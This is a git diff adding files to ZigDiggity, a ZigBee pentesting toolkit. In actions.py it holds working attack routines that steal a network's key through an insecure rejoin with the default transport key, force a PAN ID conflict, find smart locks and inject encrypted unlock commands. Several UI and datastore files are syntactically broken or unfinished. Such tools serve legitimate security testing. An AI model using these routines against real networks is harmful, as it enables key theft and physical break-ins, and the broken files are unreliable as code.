+ return False
+
+def get_pan_id_by_packet(packet):
+ if Dot15d4FCS in packet:
+ if Dot15d4Data in packet:
+ if src_panid_present(packet):
+ return packet[Dot15d4Data].src_panid
+ else:
+ return packet[Dot15d4Data].dest_panid
+ elif Dot15d4Cmd in packet:
+ if src_panid_present(packet):
+ return packet[Dot15d4Cmd].src_panid
+ else:
+ return packet[Dot15d4Cmd].dest_panid
+ elif Dot15d4Beacon in packet:
+ return packet[Dot15d4Beacon].src_panid
+ return None
+
+def get_extended_pan_by_packet(packet):
+ if ZigBeeBeacon in packet:
+ return packet[ZigBeeBeacon].extended_pan_id
+ return None
+
+def get_is_coordinator_by_packet(packet):
+ if Dot15d4Beacon in packet:
+ return packet[Dot15d4Beacon].sf_pancoord
+ return None
+
+def add_new_device(device):
+ if not isinstance(device, Device):
+ return
+
+ database_session.add(device)
+
+def merge_devices(device1, device2):
+ # we always merge into device 1
+ if device1.pan_id is None:
+ device1.pan_id = device2.pan_id
+ if device1.extended_pan_id is None:
+ device1.extended_pan_id = device2.extended_pan_id
+ if device1.address is None:
+ device1.address = device2.address
+ if device1.extended_address is None:
+ device1.extended_address = device2.extended_address
+ database_session.delete(device2)
+
+unknown_network = None
+
+def get_unknown_network():
+ global unknown_network
+ if unknown_network is None:
+ network = database_session.query(Network).filter_by(unknown=True)
+ if network is None:
+ network = Network()
+ network.unknown=True
+ database_session.commit()
+ unknown_network = network
+ return unknown_network
+
+def is_unknown_network(network):
+ return network.unknown
+
+def commit_changes():
+ database_session.commit()
\ No newline at end of file
diff --git a/zigdiggity/interface/colors.py b/zigdiggity/interface/colors.py
new file mode 100755
index 0000000..1e3be27
--- /dev/null
+++ b/zigdiggity/interface/colors.py
@@ -0,0 +1,88 @@
+import sys
+
+class Color(object):
+ ''' Helper object for easily printing colored text to the terminal. '''
+
+ # Basic console colors
+ colors = {
+ 'W' : '\033[0m', # white (normal)
+ 'R' : '\033[31m', # red
+ 'G' : '\033[32m', # green
+ 'O' : '\033[33m', # orange
+ 'B' : '\033[34m', # blue
+ 'P' : '\033[35m', # purple
+ 'C' : '\033[36m', # cyan
+ 'GR': '\033[37m', # gray
+ 'BL': '\033[90m', # light black
+ 'D' : '\033[2m' # dims current color. {W} resets.
+ }
+
+ # Helper string replacements
+ replacements = {
+ '{+}': ' {G}[+]{W}',
+ '{!}': ' {R}[!]{W}',
+ '{?}': ' {C}[?]{W}',
+ '{.}': ' {G}{D}[.]{W}'
+ }
+
+ last_sameline_length = 0
+
+ @staticmethod
+ def prompt(text):
+ prompt_text = Color.s(text + " ")
+ return raw_input(prompt_text)
+
+ @staticmethod
+ def p(text):
+ '''
+ Prints text using colored format on same line.
+ Example:
+ Color.p("{R}This text is red. {W} This text is white")
+ '''
+ sys.stdout.write(Color.s(text))
+ sys.stdout.flush()
+ if '\r' in text:
+ text = text[text.rfind('\r')+1:]
+ Color.last_sameline_length = len(text)
+ else:
+ Color.last_sameline_length += len(text)
+
+ @staticmethod
+ def pl(text):
+ '''Prints text using colored format with trailing new line.'''
+ Color.p('%s\n' % text)
+ Color.last_sameline_length = 0
+
+ @staticmethod
+ def pe(text):
+ '''Prints text using colored format with leading and trailing new line to STDERR.'''
+ sys.stderr.write(Color.s('%s\n' % text))
+ Color.last_sameline_length = 0
+
+ @staticmethod
+ def s(text):
+ ''' Returns colored string '''
+ output = text
+ for (key,value) in Color.replacements.items():
+ output = output.replace(key, value)
+ for (key,value) in Color.colors.items():
+ output = output.replace("{%s}" % key, value)
+ return output
+
+ @staticmethod
+ def clear_line():
+ spaces = ' ' * Color.last_sameline_length
+ sys.stdout.write('\r%s\r' % spaces)
+ sys.stdout.flush()
+ Color.last_sameline_length = 0
+
+ @staticmethod
+ def clear_entire_line():
+ import os
+ (rows, columns) = os.popen('stty size', 'r').read().split()
+ Color.p("\r" + (" " * int(columns)) + "\r")
+
+ @staticmethod
+ def oneliner(text):
+ Color.p("\r%s" % text)
+
diff --git a/zigdiggity/interface/components/device_table.py b/zigdiggity/interface/components/device_table.py
new file mode 100755
index 0000000..e15715f
--- /dev/null
+++ b/zigdiggity/interface/components/device_table.py
@@ -0,0 +1,26 @@
+from zigdiggity.datastore.devices import Device
+from colors import *
+
+class DeviceTable():
+
+ def __init__(self, devices):
+ self.devices = devices
+
+ def __repr__(self):
+
+ counter = 1
+
+ result = Color.s(" \n") +
+ Color.s(" NUM EXTENDED PAN PAN CH ADDR EXTENDED ADDR\n") +
+ Color.s(" ---- ------------------- ------ --- ------ --------------------\n")
+
+ for device in devices:
+ pan_str = "0x%04x"%device.pan.pan_id if device.pan is not None and device.pan.pan_id is not None else None
+ channel_str = device.pan.channel if device.pan is not None and device.pan.channel is not None else None
+ addr_str = "0x%04x"%device.address if device.address is not None else None
+ extrended_address_str = "0x%016x"%long(device.extended_address) if device.extended_address is not None else None
+ extended_pan_str = "0x%016x"%long(device.pan.) if device.pan is not None and device.pan.network is not None and device.pan.network.extended_pan_id is not None else None
+ result = result + Color.s(" %4s %19s %6s %3s %6s %19s\n" %(counter, extended_pan_str, pan_str, pan_str, address_str, extended_address_str))
+ counter += 1
+ result = result + Color.s(" \n")
+ return result
diff --git a/zigdiggity/interface/components/logo.py b/zigdiggity/interface/components/logo.py
new file mode 100755
index 0000000..025a655
--- /dev/null
+++ b/zigdiggity/interface/components/logo.py
@@ -0,0 +1,27 @@
+from zigdiggity.interface.colors import *
+
+class Logo():
+
+ def __init__(self):
+ pass
+
+ def print(self):
+ Color.pl(" {GR} _________________ ")
+ Color.pl(" {GR}| | ")
+ Color.pl(" {R},-----{GR}| |{R}-----------, {GR}| ")
+ Color.pl(" {R}| {GR}|_________ {R}/ {GR}| ")
+ Color.pl(" {R}| {GR}/ {R}/ {GR}/ ")
+ Color.pl(" {R}| {GR}/ {R}/ {GR}/ {GR}Zig {R}Diggity ")
+ Color.pl(" {R}| {GR}/ {R}/ {GR}/ ")
+ Color.pl(" {R}| {GR}/ {R}/ {GR}/ {W}The ZigBee Pentesting Toolkit")
+ Color.pl(" {R}`----------{GR}/ {R}/ {GR}/{R}---------, ")
+ Color.pl(" {GR}/ {R}/ {GR}/ {R}| {W}https://github.com/bishopfox/zigdiggity ")
+ Color.pl(" {GR}/ {R}/ {GR}/ {R}| ")
+ Color.pl(" {GR}/ {R}/ {GR}/ {R}| ")
+ Color.pl(" {GR}/ {R}/ {GR}/________ {R}| ")
+ Color.pl(" {GR}| {R}/ {GR}| {R}| ")
+ Color.pl(" {GR}| {R}`----------{GR}| |{R}----' ")
+ Color.pl(" {GR}|_________________| ")
+ Color.pl("{W}")
+ Color.pl("{W}")
+
diff --git a/zigdiggity/interface/components/network_table.py b/zigdiggity/interface/components/network_table.py
new file mode 100755
index 0000000..59ffd7b
--- /dev/null
+++ b/zigdiggity/interface/components/network_table.py
@@ -0,0 +1,39 @@
+from colors import *
+from zigdiggity.datastore.network import Network
+from zigdiggity.datastore.pan import PAN
+
+class NetworkTable():
+
+ def __init__(self, networks):
+ self.networks = networks
+
+ def __repr__(self):
+ counter = 1
+ result = Color.s(" \n") +
+ Color.s(" NUM EXTENDED PAN PAN CH \n") +
+ Color.s(" ---- ------------------- ---------- --- \n")
+ for network in self.networks:
+
+ if len(network.pans) > 1:
+ most_recent_pan = None:
+ for pan in network.pans:
+ if most_recent_pan is None:
+ most_recent_pan = pan
+ else:
+ if most_recent_pan.last_updated < pan.last_updated:
+ most_recent_pan = pan
+ pan_str = "0x%04x"%most_recent_pan.pan_id + "[+]"
+ channel_str = most_recent_pan.channel
+ elif len(network_pans) == 1:
+ pan = networks.pans[0]
+ pan_str = "0x%04x"%pan.pan_id
+ channel_str = pan.channel
+ else:
+ pan_str = None
+ channel_str = None
+
+ epan_str = "0x%016x"%long(network.extended_pan_id) if not network.extended_pan_id is None else None
+ result = result + Color.s(" %4s %18s %9s %3s \n" % (counter, epan_str, pan_str, network_device.channel))
+ counter += 1
+
+ result = result + Color.s(" \n")
\ No newline at end of file
diff --git a/zigdiggity/interface/components/pan_table.py b/zigdiggity/interface/components/pan_table.py
new file mode 100755
index 0000000..6f4e0ad
--- /dev/null
+++ b/zigdiggity/interface/components/pan_table.py
@@ -0,0 +1,26 @@
+from zigdiggity.datastore.network import Network
+from colors import *
+
+class DeviceTable():
+
+ def __init__(self, devices):
+ self.devices = devices
+
+ def __repr__(self):
+
+ counter = 1
+
+ result = Color.s(" \n") +
+ Color.s(" NUM EXTENDED PAN PAN CH ADDR EXTENDED ADDR\n") +
+ Color.s(" ---- ------------------- ------ --- ------ --------------------\n")
+
+ for device in devices:
+ pan_str = "0x%04x"%device.pan.pan_id if device.pan is not None and device.pan.pan_id is not None else None
+ channel_str = device.pan.channel if device.pan is not None and device.pan.channel is not None else None
+ addr_str = "0x%04x"%device.address if device.address is not None else None
+ extrended_address_str = "0x%016x"%long(device.extended_address) if device.extended_address is not None else None
+ extended_pan_str = "0x%016x"%long(device.pan.) if device.pan is not None and device.pan.network is not None and device.pan.network.extended_pan_id is not None else None
+ result = result + Color.s(" %4s %19s %6s %3s %6s %19s\n" %(counter, extended_pan_str, pan_str, pan_str, address_str, extended_address_str))
+ counter += 1
+ result = result + Color.s(" \n")
+ return result
\ No newline at end of file
diff --git a/zigdiggity/interface/console.py b/zigdiggity/interface/console.py
new file mode 100755
index 0000000..38688b3
--- /dev/null
+++ b/zigdiggity/interface/console.py
@@ -0,0 +1,20 @@
+from zigdiggity.interface.colors import Color
+
+DEBUG = True
+
+def print_error(message):
+ Color.pl("{!} " + message)
+
+def print_info(message):
+ Color.pl("{.} " + message)
+
+def print_notify(message):
+ Color.pl("{+} " + message)
+
+def print_debug(message):
+ if DEBUG:
+ Color.pl("{.} " + message)
+
+def console_prompt(message):
+ return Color.prompt("{?} " + message)
+
diff --git a/zigdiggity/interface/prompts/channel_prompts.py b/zigdiggity/interface/prompts/channel_prompts.py
new file mode 100755
index 0000000..8ab57e4
--- /dev/null
+++ b/zigdiggity/interface/prompts/channel_prompts.py
@@ -0,0 +1,36 @@
+from zigdiggity.interface.colors import *
+
+def single_channel_prompt():
+ channel = 0
+ while channel == 0:
+ channel_input = console_prompt("Please choose a channel ({G}11{W}-{G}25{W}): ")
+ try:
+ channel = int(channel_input)
+ if channel < 11 or channel > 25:
+ print_error("Channel must be between 11 and 25.")
+ channel = 0
+ continue
+ except:
+ print_error("Invalid channel.")
+ return channel
+
+def multi_channel_prompt():
+ channels = []
+ while len(channels) == 0:
+ channel_raw = console_prompt("Please choose a channel to scan ({G}11{W}-{G}25{W}) or '{G}all{W}' [{G}all{W}]:")
+ if (channel_raw.lower() == "all" or len(channel_raw) == 0):
+ for i in range(11,26):
+ channels.append(i)
+ else:
+ try:
+ channel = int(channel_raw)
+ if channel < 11 or channel > 25:
+ print_error("Channel must be between 11 and 25.")
+ channel = 0
+ continue
+ else:
+ channels.append(channel)
+ except:
+ print_error("Invalid Channel.")
+ continue
+ return channels
\ No newline at end of file
diff --git a/zigdiggity/interface/prompts/scan_prompts.py b/zigdiggity/interface/prompts/scan_prompts.py
new file mode 100755
index 0000000..5f568d5
--- /dev/null
+++ b/zigdiggity/interface/prompts/scan_prompts.py
@@ -0,0 +1,8 @@
+def scan_length_prompt():
+ seconds_input = console_prompt("How long would you like to scan each channel? [default: {G}5{W}")
+ try:
+ seconds = int(seconds_input)
+ except:
+ seconds = DEFAULT_SCAN_TIME
+ print_info("Scanning each channel for %s seconds" % seconds)
+ return seconds
\ No newline at end of file
diff --git a/zigdiggity/interface/prompts/target_prompts.py b/zigdiggity/interface/prompts/target_prompts.py
new file mode 100755
index 0000000..ece1ca8
--- /dev/null
+++ b/zigdiggity/interface/prompts/target_prompts.py
@@ -0,0 +1,10 @@
+def target_type_prompt(allowed_types=["device", "network", "channel"]):
+ for target_type in allowed_types:
+
+
+
+def target_device_prompt():
+
+ device_table = DeviceTable(devices)
+
+
\ No newline at end of file
diff --git a/zigdiggity/misc/__init__.py b/zigdiggity/misc/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/zigdiggity/misc/actions.py b/zigdiggity/misc/actions.py
new file mode 100755
index 0000000..4c3cd2c
--- /dev/null
+++ b/zigdiggity/misc/actions.py
@@ -0,0 +1,324 @@
+from zigdiggity.packets.nwk_commands import insecure_rejoin, is_rejoin_response
+from zigdiggity.packets.aps import is_transport_key
+from zigdiggity.packets.dot15d4 import data_request, beacon_request, beacon_response, is_beacon_response, is_beacon_request, is_data_request
+from zigdiggity.packets.zcl import encrypted_unlock
+from zigdiggity.packets.utils import get_extended_source, get_source, extended_pan, extended_address_bytes, get_pan_id, get_frame_counter
+from zigdiggity.misc.timer import Timer
+from zigdiggity.misc.track_watch import TrackWatch
+from zigdiggity.misc.sequence_iterator import SequenceIterator
+from zigdiggity.interface.console import print_error, print_info, print_notify, print_debug
+import zigdiggity.crypto.utils as crypto_utils
+import random
+from scapy.layers.dot15d4 import *
+from scapy.layers.zigbee import *
+
+
+RESPONSE_TIME_LIMIT = 1 # 1s
+OBSERVATION_TIME = 30 # 30s
+NUMBER_OF_ATTEMPTS = 3
+THRESHOLD_VARIANCE = 0.005
+MIN_FREQUENCY = 2
+
+def get_pan_by_extended_pan(radio, extended_panid):
+
+ seq_iter = SequenceIterator(random.randint(0,255))
+ extended_panid = extended_pan(extended_panid)
+
+ for attempt in range(NUMBER_OF_ATTEMPTS):
+
+ print_info("Sending a beacon to find the target's current PAN ID.")
+
+ radio.send(beacon_request(seq_num=seq_iter.next()))
+ timer = Timer(RESPONSE_TIME_LIMIT)
+ while not timer.has_expired():
+ frame = radio.receive()
+ if is_beacon_response(frame):
+ if frame[ZigBeeBeacon].extended_pan_id == extended_panid:
+ panid = frame[Dot15d4Beacon].src_panid
+ print_info("PAN ID found: 0x%04x" % panid)
+ return panid
+
+ print_error("Did not observe the target's beacon response.")
+
+def find_coord_addr_by_panid(radio, panid):
+
+ for attempt in range(NUMBER_OF_ATTEMPTS):
+
+ print_info("Finding the coordinator's address")
+
+ seq_num = random.randint(0,255)
+
+ radio.send(beacon_request(seq_num=seq_num))
+ timer = Timer(RESPONSE_TIME_LIMIT)
+ while(not timer.has_expired()):
+ frame = radio.receive()
+ if is_beacon_response(frame):
+ if frame[Dot15d4Beacon].src_panid == panid:
+ addr = frame[Dot15d4Beacon].src_addr
+ print_info("Address found: 0x%04x" % addr)
+ return addr
+
+ print_error("Did not observe the target's beacon response.")
+
+def wait_for_frame_counter(radio, panid, addr):
+
+ print_info("Waiting to observe a frame counter for pan_id:0x%04x, src_addr:0x%04x" % (panid, addr))
+
+ timer = Timer(OBSERVATION_TIME)
+ while(not timer.has_expired()):
+ frame = radio.receive()
+ if frame is not None and Dot15d4Data in frame and frame[Dot15d4Data].src_addr==addr and frame[Dot15d4Data].dest_panid==panid and ZigbeeSecurityHeader in frame:
+ frame_counter = frame[ZigbeeSecurityHeader].fc
+ print_notify("Frame counter observed: %s" % frame_counter)
+ return frame_counter
+
+ print_error("Could not find the frame counter")
+ return None
+
+def wait_for_extended_address_also_frame_counter(radio, panid, addr):
+
+ print_info("Waiting to observe the extended source for pan_id:0x%04x, src_addr:0x%04x" % (panid, addr))
+
+ timer = Timer(OBSERVATION_TIME)
+ while not timer.has_expired():
+ frame = radio.receive()
+ if panid==get_pan_id(frame) and addr==get_source(frame):
+ extended_source = get_extended_source(frame)
+ if extended_source is not None:
+ print_notify("Extended source observed: 0x%016x" % extended_source)
+ frame_counter = get_frame_counter(frame)
+ if frame_counter is not None:
+ print_notify("Frame counter observed: %d" % frame_counter)
+ return extended_source, frame_counter
+
+ print_error("Could not find extended source")
+ return None
+
+def wait_for_extended_address(radio, panid, addr):
+
+ print_info("Waiting to observe the extended source for pan_id:0x%04x, src_addr:0x%04x" % (panid, addr))
+
+ timer = Timer(OBSERVATION_TIME)
+ while not timer.has_expired():
+ frame = radio.receive()
+ if panid==get_pan_id(frame) and addr==get_source(frame):
+ extended_source = get_extended_source(frame)
+ if extended_source is not None:
+ print_notify("Extended source observed: 0x%016x" % extended_source)
+ return extended_source
+
+ print_error("Could not find extended source")
+ return None
+
+def pan_conflict_by_panid(radio, panid, network_key=None, coord_ext_addr=None):
+
+ print_info("Performing PAN ID conflict")
+
+ conflict_sent = False
+ for attempt in range(NUMBER_OF_ATTEMPTS):
+
+ seq_num = random.randint(0,255)
+ seq_iter = SequenceIterator(seq_num)
+ radio.send(beacon_request(seq_num=seq_iter.next()))
+
+ timer = Timer(RESPONSE_TIME_LIMIT)
+ while not timer.has_expired():
+ frame = radio.receive()
+ if is_beacon_response(frame):
+ if frame[Dot15d4FCS].src_panid == panid:
+ print_info("Network observed, sending conflict")
+ current_seq_num = seq_iter.next()
+ radio.send(beacon_response(panid,seq_num=current_seq_num))
+ radio.send(beacon_response(panid,seq_num=current_seq_num))
+ break
+ if network_key is not None and coord_ext_addr is not None:
+ timer.reset()
+ print_info("Verifying the conflict took by looking for the network update")
+ while not timer.has_expired():
+ frame = radio.receive()
+ if frame is not None and ZigbeeSecurityHeader in frame:
+ coord_ext_addr_bytes = extended_address_bytes(coord_ext_addr)
+ decrypted, valid = crypto_utils.zigbee_packet_decrypt(network_key, frame, coord_ext_addr_bytes)
+ if valid:
+ if bytes(decrypted)[0]==0x0a:
+ print_info("Network update observed. PAN conflict worked")
+ return True
+ print_error("Did not observe a network update. PAN conflict likely failed")
+ return False
+
+ return True
+
+def insecure_rejoin_by_panid(radio, panid, src_addr=None, extended_src=None, coord_addr=None, seq_num=None, nwk_seq_num=None):
+
+ if src_addr is None:
+ src_addr = random.randint(0,0xfff0)
+ if extended_src is None:
+ extended_src = random.randint(0, 0xffffffffffffffff)
+ if coord_addr is None:
+ coord_addr = find_coord_addr_by_panid(radio, panid)
+ if seq_num is None:
+ seq_num = random.randint(0,255)
+ if nwk_seq_num is None:
+ nwk_seq_num = random.randint(0,255)
+
+ if coord_addr is None:
+ print_info("No coordinator address seen, using default of 0x0000")
+ coord_addr = 0x0000
+
+ dot15d4_seq_iter = SequenceIterator(initial_value=seq_num, value_limit=255)
+ nwk_seq_iter = SequenceIterator(initial_value=nwk_seq_num, value_limit=255)
+
+ print_notify("Attempting to join PAN ID 0x%04x using insecure rejoin" % panid)
+ print_info("Sending insecure rejoin")
+ radio.send_and_retry(insecure_rejoin(src_addr, coord_addr, panid, extended_src, seq_num=dot15d4_seq_iter.next(), nwk_seq_num=nwk_seq_iter.next()))
+ radio.send_and_retry(data_request(src_addr, coord_addr, panid, seq_num=dot15d4_seq_iter.next()))
+
+ coord_extended_src = None
+ print_info("Awaiting response...")
+ timer = Timer(RESPONSE_TIME_LIMIT)
+ while(not timer.has_expired()):
+ frame = radio.receive_and_ack(addr=src_addr, panid=panid)
+ if is_rejoin_response(frame):
+ print_notify("Rejoin response observed")
+ coord_extended_src = frame[ZigbeeNWK].ext_src
+ radio.send_and_retry(data_request(src_addr, coord_addr, panid, seq_num=dot15d4_seq_iter.next()))
+ break
+
+ if coord_extended_src is None:
+ print_error("No rejoin response observed")
+
+ print_info("Awaiting transport key...")
+ timer.reset()
+ while(not timer.has_expired()):
+ frame = radio.receive_and_ack(addr=src_addr, panid=panid)
+ if is_transport_key(frame):
+ print_notify("Transport key observed")
+ print_info("Attempting to decrypt the network key")
+ coord_extended_source_bytes = extended_address_bytes(coord_extended_src)
+ decrypted, valid = crypto_utils.zigbee_packet_decrypt(crypto_utils.zigbee_trans_key(crypto_utils.DEFAULT_TRANSPORT_KEY), frame, coord_extended_source_bytes)
+ if valid:
+ print_notify("Network key acquired")
+ network_key = bytes(decrypted)[2:18]
+ print_info("Extracted key is 0x%s" % network_key.hex())
+ return network_key
+ else:
+ print_info(str(coord_extended_source_bytes))
+ print_error("Network key could not be decrypted")
+ return None
+
+def unlock_lock(radio, panid, addr, network_key, coord_addr=None, coord_extended_addr=None, frame_counter=None):
+
+ if coord_addr is None:
+ coord_addr = find_coord_addr_by_panid(radio, panid)
+ if coord_extended_addr is None:
+ coord_extended_addr, frame_counter = wait_for_extended_address_also_frame_counter(radio, panid, coord_addr)
+ if frame_counter is None:
+ frame_counter = wait_for_frame_counter(radio, panid, coord_addr)
+
+ if coord_addr is None or coord_extended_addr is None or frame_counter is None:
+ print_error("Could not find the required data to send the unlock request")
+
+ frame_counter_iter = SequenceIterator(frame_counter+22, 0xffffffff)
+ sequence_number = random.randint(0,255)
+ nwk_sequence_number = random.randint(0,255)
+ aps_counter = random.randint(0,255)
+ zcl_sequence_number = random.randint(0,255)
+
+ print_info("Attempting to unlock lock")
+ timer = Timer(OBSERVATION_TIME)
+ conflict_succeeded=False
+ for attempt in range(3):
+ # it is going to be more reliable if we sync the conflict with the device's data request to avoid having it see the network change packet
+ while not timer.has_expired():
+ frame = radio.receive()
+ if is_data_request(frame) and get_source(frame)==addr:
+ if pan_conflict_by_panid(radio, panid, network_key=network_key, coord_ext_addr=coord_extended_addr):
+ conflict_succeeded=True
+ break
+ if conflict_succeeded:
+ break
+ timer.reset()
+ if conflict_succeeded:
+ print_info("Waiting 4 seconds for the conflict to resolve")
+ timer = Timer(4)
+ while not timer.has_expired():
+ frame = radio.receive_and_ack(panid=panid, addr=coord_addr)
+
+ radio.load_frame(encrypted_unlock(panid, coord_addr, addr, coord_extended_addr, network_key, frame_counter=frame_counter_iter.next(), seq_num=sequence_number, nwk_seq_num=nwk_sequence_number, aps_counter=aps_counter, zcl_seq_num=zcl_sequence_number))
+ data_request_counter = 0
+
+ timer = Timer(1)
+ while not timer.has_expired():
+ frame = radio.receive_and_ack(panid=panid, addr=coord_addr)
+
+ print_info("Waiting for the lock to send a couple data requests")
+ unlock_sent = False
+ timer = Timer(OBSERVATION_TIME)
+ while not timer.has_expired():
+ frame = radio.receive_and_ack(panid=panid, addr=coord_addr)
+ if is_data_request(frame):
+ data_request_counter+=1
+ if data_request_counter == 2:
+ print_notify("Sending unlock command")
+ radio.fire_and_retry()
+ unlock_sent = True
+ break
+
+ return unlock_sent
+
+ else:
+ print_info("We're going to send a bunch of unlock requests and hope one goes through")
+ for attempts in range(20):
+ radio.load_frame(encrypted_unlock(panid, coord_addr, addr, coord_extended_addr, network_key, frame_counter=frame_counter_iter.next(), seq_num=sequence_number, nwk_seq_num=nwk_sequence_number, aps_counter=aps_counter, zcl_seq_num=zcl_sequence_number))
+
+ timer = Timer(OBSERVATION_TIME)
+ while not timer.has_expired():
+ frame = radio.receive_and_ack(panid=panid, addr=coord_addr)
+ if is_data_request(frame):
+ print_notify("Sending unlock command")
+ radio.fire_and_retry()
+ break
+ return True
+
+def find_locks(radio, panid=None):
+
+ result = []
+ trackers = dict()
+ last_sequence_number = dict()
+ if panid is not None:
+ print_notify("Looking at PAN ID 0x%04x for locks" % panid)
+ else:
+ print_notify("Looking for locks on the current channel")
+ print_info("Monitoring the network for an extended period")
+ timer = Timer(17)
+ traffic_counter = 0
+ while not timer.has_expired():
+ frame = radio.receive()
+ if frame is not None and not is_beacon_request(frame):
+ traffic_counter+=1
+ if is_data_request(frame) and (panid is None or get_pan_id(frame)==panid):
+ pan = get_pan_id(frame)
+ source=get_source(frame)
+ if not pan in trackers.keys():
+ trackers[pan] = dict()
+ last_sequence_number[pan] = dict()
+ if not source in trackers[pan].keys():
+ trackers[pan][source]=TrackWatch()
+ last_sequence_number[pan][source]=-1
+ if last_sequence_number[pan][source]!=frame[Dot15d4FCS].seqnum:
+ trackers[pan][source].click()
+ last_sequence_number[pan][source]=frame[Dot15d4FCS].seqnum
+
+ if timer.time_passed() > 5 and traffic_counter==0:
+ print_info("No traffic observed for 5 seconds, giving up")
+ break
+
+ for pan in trackers:
+ for addr in trackers[pan]:
+ watch = trackers[pan][addr]
+ if watch.variance() is not None and watch.variance() < THRESHOLD_VARIANCE and watch.mean() > MIN_FREQUENCY:
+ result.append((pan,addr))
+ print_notify("Device 0x%04x on PAN 0x%04x resembles a lock" % (addr, pan))
+ print_debug("Device 0x%04x on PAN 0x%04x had variance of %f and mean of %f" % (addr,pan,watch.variance(),watch.mean()))
+
+ return result
diff --git a/zigdiggity/misc/pcap_writer.py b/zigdiggity/misc/pcap_writer.py
new file mode 100755
index 0000000..b721e60
--- /dev/null
+++ b/zigdiggity/misc/pcap_writer.py
@@ -0,0 +1,43 @@
+import struct
+import time
+
+class PcapWriter():
+
+ def __init__(self, file, linktype):
+ print("initing...")
+ self.linktype = linktype
+ self.file = file
+ self.header_present = False
+ print("initted")
+
+ def _write_header(self, packet):
+ print("_write_header")
+ self.header_present = True
+ self.file.write(struct.pack("IHHIIII", 0xa1b2c3d4, 2, 4, 0, 0, 0xffff, self.linktype))
+ self.file.flush()
+
+ def _write_packet(self, packet, sec=None, usec=None, caplen=None, wirelen=None):
+ if caplen is None:
+ caplen = len(packet)
+ if wirelen is None:
+ wirelen = caplen
+ if sec is None or usec is None:
+ t = time.time()
+ if sec is None:
+ sec = int(t)
+ usec = int(round((t-int(t))*1000000))
+ elif usec is None:
+ usec = 0
+ print("_write_packet")
+ self.file.write(struct.pack("IIII", sec, usec, caplen, wirelen))
+ self.file.write(packet)
+ self.file.flush()
+
+ def write(self, packet):
+ print("write")
+ if not self.header_present:
+ self._write_header(packet)
+ self._write_packet(packet)
+
+ def close(self):
+ self.file.close()
diff --git a/zigdiggity/misc/sequence_iterator.py b/zigdiggity/misc/sequence_iterator.py
new file mode 100755
index 0000000..2db7114
--- /dev/null
+++ b/zigdiggity/misc/sequence_iterator.py
@@ -0,0 +1,13 @@
+class SequenceIterator():
+
+ def __init__(self, initial_value=0, value_limit=255):
+ self.value = initial_value % value_limit
+ self.value_limit = value_limit
+
+ def __iter__(self):
+ return self
+
+ def next(self):
+ result = self.value
+ self.value = (self.value + 1) % self.value_limit
+ return result
\ No newline at end of file
diff --git a/zigdiggity/misc/timer.py b/zigdiggity/misc/timer.py
new file mode 100755
index 0000000..cf6d3c5
--- /dev/null
+++ b/zigdiggity/misc/timer.py
@@ -0,0 +1,19 @@
+import time
+
+class Timer():
+
+ def __init__(self, time_limit=1):
+ self.start_time = time.time()
+ self.time_limit = time_limit
+
+ def set_time_limit(self, time_limit):
+ self.time_limit = time_limit
+
+ def reset(self):
+ self.start_time = time.time()
+
+ def has_expired(self):
+ return time.time() - self.start_time > self.time_limit
+
+ def time_passed(self):
+ return time.time() - self.start_time
diff --git a/zigdiggity/misc/track_watch.py b/zigdiggity/misc/track_watch.py
new file mode 100755
index 0000000..70c5a36
--- /dev/null
+++ b/zigdiggity/misc/track_watch.py
@@ -0,0 +1,28 @@
+import time
+
+class TrackWatch():
+
+ def __init__(self):
+ self.differences = []
+ self.last_click = None
+
+ def click(self):
+ if self.last_click is None:
+ self.last_click = time.time()
+ else:
+ current_time = time.time()
+ self.differences.append(current_time-self.last_click)
+ self.last_click = current_time
+
+
+ def variance(self):
+ if len(self.differences)<2:
+ return 100
+ mean = self.mean()
+ return sum([(diff - mean)**2 for diff in self.differences])/(len(self.differences)-1)
+
+ def mean(self):
+ if len(self.differences)==0:
+ return 0
+ return sum(self.differences) / len(self.differences)
+
diff --git a/zigdiggity/observers/__init__.py b/zigdiggity/observers/__init__.py
new file mode 100755
index 0000000..e69de29
diff --git a/zigdiggity/observers/device_tracking_observer.py b/zigdiggity/observers/device_tracking_observer.py
new file mode 100755
index 0000000..9da8ded
--- /dev/null
+++ b/zigdiggity/observers/device_tracking_observer.py
@@ -0,0 +1,107 @@
+from datastore.devices import Device
+from datastore.networks import Network
+from datastore import database_session
+
+class DeviceTrackingObserver(Observer):
+
+ def notify(self, channel, packet):
+
+ if not Dot15d4FCS in packet:
+ return
+
+ pan_id = data_utils.get_pan_id_by_packet(packet)
+ addr = data_utils.get_short_address_by_packet(packet)
+ epan_id = data_utils.get_extended_pan_by_packet(packet)
+ eaddr = data_utils.get_full_address_by_packet(packet)
+ is_coord = data_utils.get_is_coordinator_by_packet(packet)
+
+ pan, network = self.network_track(channel, pan_id, epan_id)
+ device = self.device_track(pan, network, addr, eaddr, is_coord)
+ self.track_frame_counter(device, packet)
+ self.check_for_key_transport(device, network, packet)
+
+ def network_track(self, channel, pan_id, epan_id):
+
+ pan = None
+ network = None
+
+ # Ignore broadcast PAN
+ if pan_id == 0xffff or pan_id == 0xfffc:
+ pan_id = None
+
+ if channel is not None and pan_id is not None:
+ pan = database_session.query(PAN).filter_by(channel=channel, pan_id=pan_id)
+ if pan is None:
+ pan = PAN()
+ pan.channel = channel
+ pan.pan_id = pan_id
+
+ if epan_id is not None:
+ network = database_session.query(Network).filter_by(extended_pan_id=epan_id)
+ if network is None:
+ network = Network()
+ network.extended_pan_id = epan_id
+ if pan is not None:
+ if pan.network_id != network.id:
+ if pan.network_id is None:
+ pan.network_id = network.id
+ else:
+ unknown_network = data_util.get_unknown_network()
+ pan.network_id = unknown_network.id
+
+ return (pan, network)
+
+ def device_track(self, pan, network, addr, eaddr, is_coord):
+
+ # Extended address is the most specific identfier of a device
+ if eaddr is not None:
+ device = database_session.query(Device).filter(extended_address=eaddr).first()
+
+ # If we know the device is attached to a specific network, we can find it using that network
+ if device is None and network is not None and not data_utils.is_unknown_network(network) and addr is not None:
+ result = database_session.query(Device,PAN,Network).filter(Device.address=addr, Network.id=network.id).orderBy(Device.last_updated.desc()).first()
+ device = result.Device
+
+ if device is None and pan is not None and addr is not None:
+ device = database_session.query(Device).filter(pan_id=pan.id, address=addr).first()
+
+ if device is None:
+ device = Device()
+
+ if pan is not None:
+ device.pan_id = pan.id
+ if addr is not None:
+ device.address = address
+ if eadder is not None:
+ device.extended_address = extended_address
+ if is_coord is not None:
+ device.is_coord = is_coord
+
+ return device
+
+ def track_frame_counter(self, device, packet):
+
+ if ZigbeeSecurityHeader in packet and device is not None:
+ device.frame_counter = packet[ZigbeeSecurityHeader].fc
